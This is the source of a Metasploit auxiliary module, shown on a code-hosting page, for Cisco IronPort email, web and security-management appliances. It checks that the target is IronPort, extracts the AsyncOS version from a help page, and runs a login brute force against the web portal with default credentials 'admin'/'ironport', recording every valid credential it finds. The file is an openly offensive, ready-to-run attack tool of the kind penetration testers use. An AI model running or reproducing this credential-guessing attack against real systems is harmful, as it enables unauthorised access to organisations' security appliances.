Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/http/cisco_ironport_enum.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4567class MetasploitModule < Msf::Auxiliary8include Msf::Exploit::Remote::HttpClient9include Msf::Auxiliary::Report10include Msf::Auxiliary::AuthBrute11include Msf::Auxiliary::Scanner1213def initialize(info={})14super(update_info(info,15'Name' => 'Cisco Ironport Bruteforce Login Utility',16'Description' => %{17This module scans for Cisco Ironport SMA, WSA and ESA web login portals, finds AsyncOS18versions, and performs login brute force to identify valid credentials.19},20'Author' =>21[22'Karn Ganeshen <KarnGaneshen[at]gmail.com>',23],24'License' => MSF_LICENSE,25'DefaultOptions' => { 'SSL' => true }26))2728register_options(29[30Opt::RPORT(443),31OptString.new('USERNAME', [true, "A specific username to authenticate as", "admin"]),32OptString.new('PASSWORD', [true, "A specific password to authenticate with", "ironport"])33])34end3536def run_host(ip)37unless check_conn?38print_error("#{rhost}:#{rport} - Connection failed, Aborting...")39return40end4142unless is_app_ironport?43print_error("#{rhost}:#{rport} - Application does not appear to be Cisco Ironport. Module will not continue.")44return45end4647print_status("#{rhost}:#{rport} - Starting login brute force...")48each_user_pass do |user, pass|49do_login(user, pass)50end51end5253def check_conn?54begin55res = send_request_cgi(56{57'uri' => '/',58'method' => 'GET'59})60if res61print_good("#{rhost}:#{rport} - Server is responsive...")62return true63end64rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE65end66false67end6869#70# What's the point of running this module if the app actually isn't Cisco IronPort71#7273def is_app_ironport?74res = send_request_cgi(75{76'uri' => '/',77'method' => 'GET'78})7980if res && res.get_cookies8182cookie = res.get_cookies8384res = send_request_cgi(85{86'uri' => "/help/wwhelp/wwhimpl/common/html/default.htm",87'method' => 'GET',88'cookie' => cookie89})9091if (res and res.code == 200 and res.body.include?('Cisco IronPort AsyncOS'))92version_key = /Cisco IronPort AsyncOS (.+? )/93version = res.body.scan(version_key).flatten[0].gsub('"','')94product_key = /for (.*)</95product = res.body.scan(product_key).flatten[0]9697if (product == 'Security Management Appliances')98p_name = 'Cisco IronPort Security Management Appliance (SMA)'99print_good("#{rhost}:#{rport} - Running Cisco IronPort #{product} (SMA) - AsyncOS v#{version}")100elsif ( product == 'Cisco IronPort Web Security Appliances' )101p_name = 'Cisco IronPort Web Security Appliance (WSA)'102print_good("#{rhost}:#{rport} - Running #{product} (WSA) - AsyncOS v#{version}")103elsif ( product == 'Cisco IronPort Appliances' )104p_name = 'Cisco IronPort Email Security Appliance (ESA)'105print_good("#{rhost}:#{rport} - Running #{product} (ESA) - AsyncOS v#{version}")106end107108return true109else110return false111end112else113return false114end115end116117def service_details118super.merge({service_name: 'Cisco IronPort Appliance'})119end120121#122# Brute-force the login page123#124125def do_login(user, pass)126vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")127begin128res = send_request_cgi(129{130'uri' => '/login',131'method' => 'POST',132'vars_post' =>133{134'action' => 'Login',135'referrer' => '',136'screen' => 'login',137'username' => user,138'password' => pass139}140})141142if res and res.get_cookies.include?('authenticated=')143print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")144145store_valid_credential(user: user, private: pass, proof: res.get_cookies.inspect)146return :next_user147148else149vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")150end151152rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE153print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")154return :abort155end156end157end158159160